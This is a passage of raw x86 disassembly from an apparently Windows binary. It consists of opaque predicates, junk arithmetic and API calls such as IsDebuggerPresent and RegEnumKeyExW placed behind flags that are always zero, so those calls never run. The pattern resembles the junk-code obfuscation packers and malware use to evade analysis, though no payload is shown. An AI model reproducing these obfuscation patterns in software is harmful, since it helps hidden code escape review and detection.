mov dword [ebp - 0x754], eax
cmp dword [ebp - 0x754], 0
jne 0x404f49
cmp dword [ebp - 0x208], 0
jne 0x404f49
and dword [ebp - 0xa2c], 0
jmp 0x404f53
mov dword [ebp - 0xa2c], 1
mov eax, dword [ebp - 0xa2c]
mov dword [ebp - 0x6e8], eax
cmp dword [ebp - 0x754], 0xffffffff
jle 0x404f74
mov dword [ebp - 0xf1c], 1
jmp 0x404f7b
and dword [ebp - 0xf1c], 0
mov eax, dword [ebp - 0xf1c]
sub eax, dword [ebp - 0xf24]
mov dword [ebp - 0x6e8], eax
mov eax, dword [ebp - 0xa44]
cmp dword [ebp - 0x6e8], eax
jg 0x404fa7
mov dword [ebp - 0xa34], 1
jmp 0x404fae
and dword [ebp - 0xa34], 0
imul eax, dword [ebp - 0xa34], 0x6e66
cmp eax, 0xc7e7
je 0x404fc6
cmp dword [ebp - 0x1114], 0
mov eax, 0xe617
cmp eax, 0xfff9
jne 0x404fde
mov dword [ebp - 0xa3c], 1
jmp 0x404fe5
and dword [ebp - 0xa3c], 0
mov eax, dword [ebp - 0x200]
mov dword [ebp - 0xd7c], eax
mov eax, dword [ebp - 0xd7c]
cmp eax, dword [ebp - 0xa3c]
je 0x40500b
mov dword [ebp - 0x1058], 1
jmp 0x405012
and dword [ebp - 0x1058], 0
mov eax, dword [ebp - 0x1058]
sub eax, dword [ebp - 0x324]
cmp eax, 5
jb 0x40502f
mov dword [ebp - 0xd84], 1
jmp 0x405036
and dword [ebp - 0xd84], 0
mov eax, dword [ebp - 0xa44]
cmp dword [ebp - 0xd84], eax
jle 0x405050
mov dword [ebp - 0xa4c], 1
jmp 0x405057
and dword [ebp - 0xa4c], 0
mov eax, dword [ebp - 0xa4c]
sub eax, dword [ebp - 0x200]
add eax, dword [ebp - 0xf24]
push 4
pop ecx
imul ecx, ecx, 3
cmp eax, dword [ebp + ecx - 0x7a4]
jne 0x405084
mov dword [ebp - 0xa54], 1
jmp 0x40508b
and dword [ebp - 0xa54], 0
imul eax, dword [ebp - 0xa54], 0x270b
push 4
pop ecx
imul ecx, ecx, 3
add eax, dword [ebp + ecx - 0x7a4]
je 0x4050ce
mov byte [ebp - 0x167], 0
movzx eax, byte [ebp - 0x167]
test eax, eax
je 0x4050cc
push 0
push 0
push 0x9cb
push 0xc78
push 0
call dword [sym.imp.USER32.dll_InsertMenuW]
jmp 0x40512e
mov dword [ebp - 0x324], 0
jmp 0x4050e7
mov eax, dword [ebp - 0x324]
inc eax
mov dword [ebp - 0x324], eax
cmp dword [ebp - 0x324], 3
jg 0x40512e
mov dword [ebp - 0x208], 3
jmp 0x405109
mov eax, dword [ebp - 0x208]
dec eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 0
jl 0x40512c
mov byte [ebp - 0x169], 0
movzx eax, byte [ebp - 0x169]
test eax, eax
je 0x40512a
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
jmp 0x4050fc
jmp 0x4050da
jmp 0x404eb3
jmp 0x40515b
mov byte [ebp - 0x16b], 0
movzx eax, byte [ebp - 0x16b]
test eax, eax
je 0x40515b
push 0x1dc7
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0x1124], 0xb21a35ca
mov dword [ebp - 0x9c], 0xfffffff0
jmp 0x405188
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0xe
jne 0x4051a9
mov dword [ebp - 0x11e4], 0x33992443
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x11e4], eax
jmp 0x40517b
mov dword [ebp - 0x9c], 0
jmp 0x4051c2
mov eax, dword [ebp - 0x9c]
dec eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0xfffffffc
je 0x4051f7
mov dword [ebp - 0x111c], 0xe53e58bf
mov dword [ebp - 0x11ec], 0xd2703d9b
mov eax, dword [ebp - 0x111c]
mov dword [ebp - 0x11ec], eax
mov dword [ebp - 0x1124], 4
jmp 0x4051b5
mov dword [ebp - 0x5ec], 0xad386cce
mov dword [ebp - 0xd8c], 0xffffffff
mov dword [ebp - 0x11f4], 9
mov dword [ebp - 0x4a4], 0
jmp 0x40522e
mov eax, dword [ebp - 0x4a4]
inc eax
mov dword [ebp - 0x4a4], eax
cmp dword [ebp - 0x4a4], 3
jge 0x40524a
mov eax, dword [ebp - 0x4a4]
mov dword [ebp + eax*4 - 0x1a08], 0xd53b
jmp 0x405221
mov eax, dword [ebp - 0xd8c]
add eax, 0x4bcd
sub eax, dword [ebp - 0xd8c]
cmp eax, dword [ebp - 0x5ec]
jl 0x40526f
mov dword [ebp - 0xa5c], 1
jmp 0x405276
and dword [ebp - 0xa5c], 0
imul eax, dword [ebp - 0x5ec], 0xffffffff
mov ecx, dword [ebp - 0x5ec]
add ecx, dword [ebp - 0xa5c]
cmp eax, ecx
jle 0x405299
mov dword [ebp - 0xff4], 1
jmp 0x4052a0
and dword [ebp - 0xff4], 0
cmp dword [ebp - 0xff4], 1
je 0x4052b5
mov dword [ebp - 0xd94], 1
jmp 0x4052bc
and dword [ebp - 0xd94], 0
mov eax, dword [ebp - 0x5ec]
mov dword [ebp - 0xa64], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xa64]
mov dword [ebp + eax - 0x1a08], ecx
mov eax, dword [ebp - 0xa64]
cmp eax, dword [ebp - 0xd94]
jg 0x4052f5
mov dword [ebp - 0xa6c], 1
jmp 0x4052fc
and dword [ebp - 0xa6c], 0
imul eax, dword [ebp - 0xa6c], 0xddd9
mov dword [ebp - 0x11f4], eax
mov byte [ebp - 0x16d], 0
movzx eax, byte [ebp - 0x16d]
test eax, eax
je 0x405337
push 0
push 0
push 0
push 0
push 0
push 0
push 0x208
push 0
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
mov dword [ebp - 0x584], 0xfffffffc
mov dword [ebp - 0x4ac], 0
jmp 0x40535a
mov eax, dword [ebp - 0x4ac]
inc eax
mov dword [ebp - 0x4ac], eax
cmp dword [ebp - 0x4ac], 1
jge 0x405376
mov eax, dword [ebp - 0x4ac]
mov dword [ebp + eax*4 - 0x16a0], 4
jmp 0x40534d
mov dword [ebp - 0x584], 0
jmp 0x40538f
mov eax, dword [ebp - 0x584]
dec eax
mov dword [ebp - 0x584], eax
cmp dword [ebp - 0x584], 0
jl 0x4053eb
mov byte [ebp - 0x16f], 0
movzx eax, byte [ebp - 0x16f]
test eax, eax
je 0x4053c3
push 0x26cd
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetMapMode]
mov byte [ebp - 0x171], 0
movzx eax, byte [ebp - 0x171]
test eax, eax
je 0x4053e9
push 0
push 0x1316
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextW]
jmp 0x405382
mov byte [ebp - 0x173], 0
movzx eax, byte [ebp - 0x173]
test eax, eax
je 0x40540a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
mov dword [ebp - 0x794], 0xffffffff
mov dword [ebp - 0x790], 0xffffffff
mov dword [ebp - 0x78c], 0xffffffff
mov dword [ebp - 0x788], 0xffffffff
mov dword [ebp - 0x210], 0x8bdfadf6
mov dword [ebp - 0x218], 0x78e60d74
mov dword [ebp - 0x112c], 0x6de21e5
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x794], 0
jne 0x40549e
mov eax, dword [ebp - 0x210]
mov dword [ebp - 0x16a8], eax
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x794]
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0x794]
push 4
pop ecx
imul ecx, ecx, 3
cmp eax, dword [ebp + ecx - 0x794]
jl 0x40549e
and dword [ebp - 0xf2c], 0
jmp 0x4054a8
mov dword [ebp - 0xf2c], 1
mov eax, 0x2fafd11d
sub eax, dword [ebp - 0xf2c]
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x794]
jne 0x4054dc
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x794], 0
je 0x4054dc
mov dword [ebp - 0xa74], 1
jmp 0x4054e3
and dword [ebp - 0xa74], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x794]
add eax, dword [ebp - 0xa74]
cmp eax, 5
jg 0x405507
mov dword [ebp - 0xd9c], 1
jmp 0x40550e
and dword [ebp - 0xd9c], 0
mov eax, dword [ebp - 0xd9c]
neg eax
je 0x4057c8
mov dword [ebp - 0xa8c], 0
mov dword [ebp - 0xaa4], 0x9a7e1289
mov dword [ebp - 0x350], 3
mov dword [ebp - 0x210], 0xffffffe4
jmp 0x405553
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 0x35
jge 0x4057c6
mov dword [ebp - 0x740], 0
mov dword [ebp - 0x6f0], 0
mov dword [ebp - 0xdac], 0x2ad14ca7
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x794]
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0
jne 0x4055ab
mov eax, 0xcc09
test eax, eax
jne 0x4055ab
and dword [ebp - 0xa7c], 0
jmp 0x4055b5
mov dword [ebp - 0xa7c], 1
mov eax, dword [ebp - 0xa7c]
mov dword [ebp - 0x740], eax
cmp dword [ebp - 0x740], 0
jne 0x4055dc
cmp dword [ebp - 0x218], 0
jne 0x4055dc
and dword [ebp - 0x1008], 0
jmp 0x4055e6
mov dword [ebp - 0x1008], 1
mov eax, dword [ebp - 0x1008]
mov dword [ebp - 0x6f0], eax
cmp dword [ebp - 0x740], 0xffffffff
jle 0x405607
mov dword [ebp - 0xa84], 1
jmp 0x40560e
and dword [ebp - 0xa84], 0
mov eax, dword [ebp - 0xa84]
sub eax, dword [ebp - 0xaa4]
mov dword [ebp - 0x6f0], eax
mov eax, dword [ebp - 0xdac]
cmp dword [ebp - 0x6f0], eax
jg 0x40563a
mov dword [ebp - 0xda4], 1
jmp 0x405641
and dword [ebp - 0xda4], 0
imul eax, dword [ebp - 0xda4], 0x6e66
cmp eax, 0xc7e7
je 0x405659
cmp dword [ebp - 0x112c], 0
mov eax, 0xe617
cmp eax, 0xfff9
jne 0x405671
mov dword [ebp - 0xf34], 1
jmp 0x405678
and dword [ebp - 0xf34], 0
mov eax, dword [ebp - 0x210]
mov dword [ebp - 0xa8c], eax
mov eax, dword [ebp - 0xa8c]
cmp eax, dword [ebp - 0xf34]
je 0x40569e
mov dword [ebp - 0xa94], 1
jmp 0x4056a5
and dword [ebp - 0xa94], 0
mov eax, dword [ebp - 0xa94]
sub eax, dword [ebp - 0x350]
cmp eax, 5
jb 0x4056c2
mov dword [ebp - 0xa9c], 1
jmp 0x4056c9
and dword [ebp - 0xa9c], 0
mov eax, dword [ebp - 0xdac]
cmp dword [ebp - 0xa9c], eax
jle 0x4056e3
mov dword [ebp - 0xffc], 1
jmp 0x4056ea
and dword [ebp - 0xffc], 0
mov eax, dword [ebp - 0xffc]
sub eax, dword [ebp - 0x210]
add eax, dword [ebp - 0xaa4]
push 4
pop ecx
imul ecx, ecx, 3
cmp eax, dword [ebp + ecx - 0x794]
jne 0x405717
mov dword [ebp - 0xdb4], 1
jmp 0x40571e
and dword [ebp - 0xdb4], 0
imul eax, dword [ebp - 0xdb4], 0x270b
push 4
pop ecx
imul ecx, ecx, 3
add eax, dword [ebp + ecx - 0x794]
je 0x405761
mov byte [ebp - 0x175], 0
movzx eax, byte [ebp - 0x175]
test eax, eax
je 0x40575f
push 0
push 0
push 0x9cb
push 0xc78
push 0
call dword [sym.imp.USER32.dll_InsertMenuW]
jmp 0x4057c1
mov dword [ebp - 0x350], 0
jmp 0x40577a
mov eax, dword [ebp - 0x350]
inc eax
mov dword [ebp - 0x350], eax
cmp dword [ebp - 0x350], 3
jg 0x4057c1
mov dword [ebp - 0x218], 3
jmp 0x40579c
mov eax, dword [ebp - 0x218]
dec eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0
jl 0x4057bf
mov byte [ebp - 0x177], 0
movzx eax, byte [ebp - 0x177]
test eax, eax
je 0x4057bd
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
jmp 0x40578f
jmp 0x40576d
jmp 0x405546
jmp 0x4057ee
mov byte [ebp - 0x179], 0
movzx eax, byte [ebp - 0x179]
test eax, eax
je 0x4057ee
push 0x1dc7
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 2
lea ecx, [ebp - 0x129c]
call fcn.0040f233
mov dword [ebp - 0x4b4], 0
jmp 0x405814
mov eax, dword [ebp - 0x4b4]
inc eax
mov dword [ebp - 0x4b4], eax
cmp dword [ebp - 0x4b4], 2
jge 0x405836
push dword [ebp - 0x4b4]
lea ecx, [ebp - 0x129c]
call fcn.0040f321
mov dword [eax], 0x9b55bb2c
jmp 0x405807
push 1
lea ecx, [ebp - 0x129c]
call fcn.0040f321
mov dword [eax], 0xfffffffd
jmp 0x40586f
push 1
lea ecx, [ebp - 0x129c]
call fcn.0040f321
mov dword [ebp - 0xaac], eax
mov eax, dword [ebp - 0xaac]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xaac]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x129c]
call fcn.0040f321
cmp dword [eax], 0x14
jle 0x4058d7
mov byte [ebp - 0x17b], 0
movzx eax, byte [ebp - 0x17b]
test eax, eax
je 0x4058b3
push 0
push 0x1610
push 0
push 0x1e8c
push 0x1c1b
push 0
push 0x17cb
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
mov byte [ebp - 0x17d], 0
movzx eax, byte [ebp - 0x17d]
test eax, eax
je 0x4058d2
push 0x2271
push 0
call dword [sym.imp.USER32.dll_CharUpperBuffW]
jmp 0x40584b
lea ecx, [ebp - 0x129c]
call fcn.0040f305
mov dword [ebp - 0x4bc], 0xad386cce
mov dword [ebp - 0xf3c], 0xffffffff
mov dword [ebp - 0x11fc], 9
mov dword [ebp - 0x624], 0
jmp 0x405919
mov eax, dword [ebp - 0x624]
inc eax
mov dword [ebp - 0x624], eax
cmp dword [ebp - 0x624], 3
jge 0x405935
mov eax, dword [ebp - 0x624]
mov dword [ebp + eax*4 - 0x19c0], 0xd53b
jmp 0x40590c
mov eax, dword [ebp - 0xf3c]
add eax, 0x4bcd
sub eax, dword [ebp - 0xf3c]
cmp eax, dword [ebp - 0x4bc]
jl 0x40595a
mov dword [ebp - 0xab4], 1
jmp 0x405961
and dword [ebp - 0xab4], 0
imul eax, dword [ebp - 0x4bc], 0xffffffff
mov ecx, dword [ebp - 0x4bc]
add ecx, dword [ebp - 0xab4]
cmp eax, ecx
jle 0x405984
mov dword [ebp - 0xdbc], 1
jmp 0x40598b
and dword [ebp - 0xdbc], 0
cmp dword [ebp - 0xdbc], 1
je 0x4059a0
mov dword [ebp - 0x100c], 1
jmp 0x4059a7
and dword [ebp - 0x100c], 0
mov eax, dword [ebp - 0x4bc]
mov dword [ebp - 0xabc], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xabc]
mov dword [ebp + eax - 0x19c0], ecx
mov eax, dword [ebp - 0xabc]
cmp eax, dword [ebp - 0x100c]
jg 0x4059e0
mov dword [ebp - 0xac4], 1
jmp 0x4059e7
and dword [ebp - 0xac4], 0
imul eax, dword [ebp - 0xac4], 0xddd9
mov dword [ebp - 0x11fc], eax
mov byte [ebp - 0x17f], 0
movzx eax, byte [ebp - 0x17f]
test eax, eax
je 0x405a22
push 0
push 0
push 0
push 0
push 0
push 0
push 0x208
push 0
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
mov dword [ebp - 0xf0], 0
mov dword [ebp - 0x1150], 0xb21a35ca
mov dword [ebp - 0x2f4], 1
mov dword [ebp - 0x3c0], 0xebb6748f
mov dword [ebp - 0x2f4], 0
jmp 0x405a63
mov eax, dword [ebp - 0x2f4]
dec eax
mov dword [ebp - 0x2f4], eax
cmp dword [ebp - 0x2f4], 0xffffffea
jle 0x405e2d
mov dword [ebp - 0x13c], 0xfffffff8
mov dword [ebp - 0xad4], 0xffffffff
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x3c0], eax
cmp dword [ebp - 0x3c0], 0
je 0x405aca
mov dword [ebp - 0xdc4], 2
mov dword [ebp - 0x1204], 1
mov eax, dword [ebp - 0x3c0]
mov dword [ebp - 0xdc4], eax
mov eax, dword [ebp - 0xdc4]
mov dword [ebp - 0x1204], eax
jmp 0x405e07
mov dword [ebp - 0x744], 0xfffffff6
mov dword [ebp - 0x764], 0x8b4b72b4
mov dword [ebp - 0x40], 0x9b96bc71
mov dword [ebp - 0x58c], 0
jmp 0x405afe
mov eax, dword [ebp - 0x58c]
inc eax
mov dword [ebp - 0x58c], eax
cmp dword [ebp - 0x58c], 3
jge 0x405b1a
mov eax, dword [ebp - 0x58c]
mov dword [ebp + eax*4 - 0x1618], 0xf039d3cd
jmp 0x405af1
mov eax, dword [ebp - 0x2f4]
mov dword [ebp - 0x16b0], eax
cmp dword [ebp - 0x13c], 0
jne 0x405b41
cmp dword [ebp - 0x744], 0
jne 0x405b41
and dword [ebp - 0xacc], 0
jmp 0x405b4b
mov dword [ebp - 0xacc], 1
mov eax, dword [ebp - 0xacc]
mov dword [ebp - 0x744], eax
cmp dword [ebp - 0x744], 0
jne 0x405b72
cmp dword [ebp - 0x2f4], 0
jne 0x405b72
and dword [ebp - 0xf44], 0
jmp 0x405b7c
mov dword [ebp - 0xf44], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1618]
mov ecx, dword [ebp - 0xf44]
lea eax, [ecx + eax - 1]
test eax, eax
je 0x405bac
cmp dword [ebp - 0x13c], 0
je 0x405bac
mov dword [ebp - 0x6f8], 1
jmp 0x405bb3
and dword [ebp - 0x6f8], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x6f8]
mov dword [ebp + eax - 0x1618], ecx
mov eax, dword [ebp - 0x6f8]
mov dword [ebp - 0x3c0], eax
cmp dword [ebp - 0x3c0], 0
jne 0x405bed
cmp dword [ebp - 0xad4], 0
jne 0x405bed
and dword [ebp - 0xdcc], 0
jmp 0x405bf7
mov dword [ebp - 0xdcc], 1
mov eax, dword [ebp - 0xad4]
cmp dword [ebp - 0xdcc], eax
jl 0x405c11
mov dword [ebp - 0xadc], 1
jmp 0x405c18
and dword [ebp - 0xadc], 0
mov eax, dword [ebp - 0xadc]
mov dword [ebp - 0x764], eax
cmp dword [ebp - 0x764], 0
je 0x405c36
mov eax, 0xd6cd5387
test eax, eax
jne 0x405c48
mov eax, 0xce404d46
test eax, eax
jne 0x405c48
and dword [ebp - 0x1004], 0
jmp 0x405c52
mov dword [ebp - 0x1004], 1
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x1004], eax
jl 0x405c69
mov dword [ebp - 0xae4], 1
jmp 0x405c70
and dword [ebp - 0xae4], 0
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0xae4], eax
jle 0x405c87
mov dword [ebp - 0xdd4], 1
jmp 0x405c8e
and dword [ebp - 0xdd4], 0
mov eax, dword [ebp - 0x13c]
cmp dword [ebp - 0xdd4], eax
jge 0x405ca8
mov dword [ebp - 0xaec], 1
jmp 0x405caf
and dword [ebp - 0xaec], 0
mov eax, dword [ebp - 0x13c]
add eax, dword [ebp - 0xaec]
cmp eax, 0x2e0c
jge 0x405cce
mov dword [ebp - 0xf4c], 1
jmp 0x405cd5
and dword [ebp - 0xf4c], 0
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0xf4c], eax
jl 0x405cec
mov byte [ebp - 0x181], 0
movzx eax, byte [ebp - 0x181]
test eax, eax
je 0x405e28
push 0x113f
push 0
push 0
call dword [sym.imp.GDI32.dll_TranslateCharsetInfo]
jmp 0x405a56
mov dword [ebp - 0xf0], 0xfffffff0
jmp 0x405e46
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 0xe
jne 0x405e67
mov dword [ebp - 0x1228], 0x33992443
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x1228], eax
jmp 0x405e39
mov dword [ebp - 0x16d8], 8
mov byte [ebp - 0x183], 0
movzx eax, byte [ebp - 0x183]
test eax, eax
je 0x405e89
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov byte [ebp - 0x185], 0
movzx eax, byte [ebp - 0x185]
test eax, eax
je 0x405eb1
push 0
push 0
push 0x1e69
push 0x1ff6
push 0
call dword [sym.imp.USER32.dll_ModifyMenuW]
mov dword [ebp - 0xf0], 0
jmp 0x405eca
cmp dword [ebp - 0xf0], 0xfffffffc
je 0x406260
mov dword [ebp - 0x16e0], 1
mov dword [ebp - 0x16e8], 0xfffffffe
mov dword [ebp - 0x1140], 8
mov dword [ebp - 0x16f0], 0x328129ec
mov dword [ebp - 0x4c4], 0
jmp 0x405f18
mov eax, dword [ebp - 0x4c4]
inc eax
mov dword [ebp - 0x4c4], eax
cmp dword [ebp - 0x4c4], 3
jge 0x405f34
mov eax, dword [ebp - 0x4c4]
mov dword [ebp + eax*4 - 0x1b08], 0xe8ce6fc2
jmp 0x405f0b
mov byte [ebp - 0x187], 0
movzx eax, byte [ebp - 0x187]
test eax, eax
je 0x405f4c
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
mov dword [ebp - 0x1140], 1
mov dword [ebp - 0x1148], 0xe53e58bf
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x5f4], 0
jmp 0x405f80
mov eax, dword [ebp - 0x5f4]
inc eax
mov dword [ebp - 0x5f4], eax
cmp dword [ebp - 0x5f4], 3
jge 0x405f9c
mov eax, dword [ebp - 0x5f4]
mov dword [ebp + eax*4 - 0x19f0], 0xeab3cf81
jmp 0x405f73
mov byte [ebp - 0x189], 0
movzx eax, byte [ebp - 0x189]
test eax, eax
je 0x405fbf
push 1
push 0xfed
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x20], eax
jge 0x405fd3
mov dword [ebp - 0xb0c], 1
jmp 0x405fda
and dword [ebp - 0xb0c], 0
cmp dword [ebp - 0x20], 0
je 0x405ff8
cmp dword [ebp - 0x20], 0
jne 0x405fec
and dword [ebp - 0x12c0], 0
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x16f8], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1700], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1708], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1710], eax
cmp dword [ebp - 0x20], 0x3e75
je 0x406038
mov dword [ebp - 0x228], 0xd5e48d32
mov dword [ebp - 0xb44], 0xb91359a7
mov dword [ebp - 0x1158], 0xffffffff
mov dword [ebp - 0x1718], 0xa53e
mov dword [ebp - 0x228], 0x12
jmp 0x4062a1
mov eax, dword [ebp - 0x228]
inc eax
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 0x15
je 0x406794
push 1
lea ecx, [ebp - 0x7c8]
call fcn.0040f233
mov dword [ebp - 0xa4], 0xee7d214c
mov dword [ebp - 0xe0c], 0xa737
mov dword [ebp - 0x1238], 0xec53312a
mov dword [ebp - 0x63c], 0
jmp 0x4062f2
mov eax, dword [ebp - 0x63c]
inc eax
mov dword [ebp - 0x63c], eax
cmp dword [ebp - 0x63c], 1
jge 0x406314
push dword [ebp - 0x63c]
lea ecx, [ebp - 0x7c8]
call fcn.0040f321
mov dword [eax], 0x683c8fc5
jmp 0x4062e5
mov dword [ebp - 0xa4], 0
jmp 0x40632d
cmp dword [ebp - 0xa4], 0
jl 0x406784
mov dword [ebp - 0x124], 8
mov dword [ebp - 0x220], 0
mov dword [ebp - 0xb4c], 7
push 2
lea ecx, [ebp - 0x1648]
call fcn.0040f233
mov dword [ebp - 0x4dc], 0
jmp 0x40637e
cmp dword [ebp - 0x4dc], 2
jge 0x4063a0
push dword [ebp - 0x4dc]
lea ecx, [ebp - 0x1648]
call fcn.0040f321
mov dword [eax], 0xfffffffd
jmp 0x406371
mov dword [ebp - 0x124], 0
jmp 0x4063b9
lea ecx, [ebp - 0x7c8]
call fcn.0040f305
jmp 0x406294
mov dword [ebp - 0x5fc], 0xfffffffc
mov dword [ebp - 0x4e4], 0
jmp 0x4067b7
mov eax, dword [ebp - 0x4e4]
inc eax
mov dword [ebp - 0x4e4], eax
cmp dword [ebp - 0x4e4], 1
jge 0x4067d3
mov eax, dword [ebp - 0x4e4]
mov dword [ebp + eax*4 - 0x1740], 4
jmp 0x4067aa
mov dword [ebp - 0x5fc], 0
jmp 0x4067ec
cmp dword [ebp - 0x5fc], 0
jl 0x406848
mov byte [ebp - 0x193], 0
movzx eax, byte [ebp - 0x193]
test eax, eax
je 0x406820
push 0x26cd
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetMapMode]
mov byte [ebp - 0x195], 0
movzx eax, byte [ebp - 0x195]
test eax, eax
je 0x406846
push 0
push 0x1316
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextW]
jmp 0x4067df
mov byte [ebp - 0x197], 0
movzx eax, byte [ebp - 0x197]
test eax, eax
je 0x406867
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
push 1
lea ecx, [ebp - 0x1824]
call fcn.0040f233
mov dword [ebp - 0xf8], 0
jmp 0x40688d
cmp dword [ebp - 0xf8], 1
jge 0x4068af